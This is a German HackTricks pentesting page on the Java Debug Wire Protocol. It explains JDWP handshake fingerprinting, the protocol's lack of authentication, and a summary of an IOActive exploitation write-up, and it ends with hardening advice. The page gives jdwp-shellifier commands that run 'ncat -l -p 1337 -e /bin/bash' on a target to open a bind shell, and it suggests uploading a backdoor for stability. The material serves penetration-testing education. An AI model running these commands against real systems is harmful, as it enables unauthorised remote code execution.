hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-02-10 15:36:32 +00:00

7 KiB

Pentesting JDWP - Java Debug Wire Protocol

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Ausnutzung

Die Ausnutzung von JDWP hängt von der fehlenden Authentifizierung und Verschlüsselung des Protokolls ab. Es wird normalerweise auf Port 8000 gefunden, aber andere Ports sind möglich. Die initiale Verbindung wird hergestellt, indem ein "JDWP-Handshake" an den Zielport gesendet wird. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt seine Anwesenheit. Dieser Handshake dient als Fingerprinting-Methode, um JDWP-Dienste im Netzwerk zu identifizieren.

In Bezug auf die Prozessidentifikation kann die Suche nach dem String "jdwk" in Java-Prozessen auf eine aktive JDWP-Sitzung hinweisen.

Das Standardwerkzeug ist jdwp-shellifier. Sie können es mit verschiedenen Parametern verwenden:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Ich habe festgestellt, dass die Verwendung von --break-on 'java.lang.String.indexOf' den Exploit stabiler macht. Und wenn Sie die Möglichkeit haben, eine Hintertür auf den Host hochzuladen und auszuführen, anstatt einen Befehl auszuführen, wird der Exploit noch stabiler.

Weitere Details

Dies ist eine Zusammenfassung von https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Überprüfen Sie es für weitere Details.

  1. JDWP-Überblick:
  • Es handelt sich um ein paketbasiertes Netzwerk-Binärprotokoll, das hauptsächlich synchron ist.
  • Es fehlt an Authentifizierung und Verschlüsselung, was es anfällig macht, wenn es in feindlichen Netzwerken ausgesetzt ist.
  1. JDWP-Handshake:
  • Ein einfacher Handshake-Prozess wird verwendet, um die Kommunikation zu initiieren. Ein 14 Zeichen langer ASCII-String "JDWP-Handshake" wird zwischen dem Debugger (Client) und dem Debuggee (Server) ausgetauscht.
  1. JDWP-Kommunikation:
  • Nachrichten haben eine einfache Struktur mit Feldern wie Länge, Id, Flagge und Befehlssatz.
  • Die Befehlssatzwerte reichen von 0x40 bis 0x80 und repräsentieren verschiedene Aktionen und Ereignisse.
  1. Ausnutzung:
  • JDWP ermöglicht das Laden und Aufrufen beliebiger Klassen und Bytecode, was Sicherheitsrisiken birgt.
  • Der Artikel beschreibt einen Ausnutzungsprozess in fünf Schritten, der das Abrufen von Java-Runtime-Referenzen, das Setzen von Breakpoints und das Aufrufen von Methoden umfasst.
  1. Ausnutzung im wirklichen Leben:
  • Trotz potenzieller Firewall-Schutzmaßnahmen sind JDWP-Dienste in realen Szenarien auffindbar und ausnutzbar, wie durch Suchen auf Plattformen wie ShodanHQ und GitHub demonstriert wird.
  • Das Exploit-Skript wurde gegen verschiedene JDK-Versionen getestet und ist plattformunabhängig und bietet eine zuverlässige Remote Code Execution (RCE).
  1. Sicherheitsimplikationen:
  • Das Vorhandensein offener JDWP-Dienste im Internet unterstreicht die Notwendigkeit regelmäßiger Sicherheitsüberprüfungen, das Deaktivieren von Debug-Funktionen in der Produktion und eine ordnungsgemäße Firewall-Konfiguration.

Referenzen:

Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: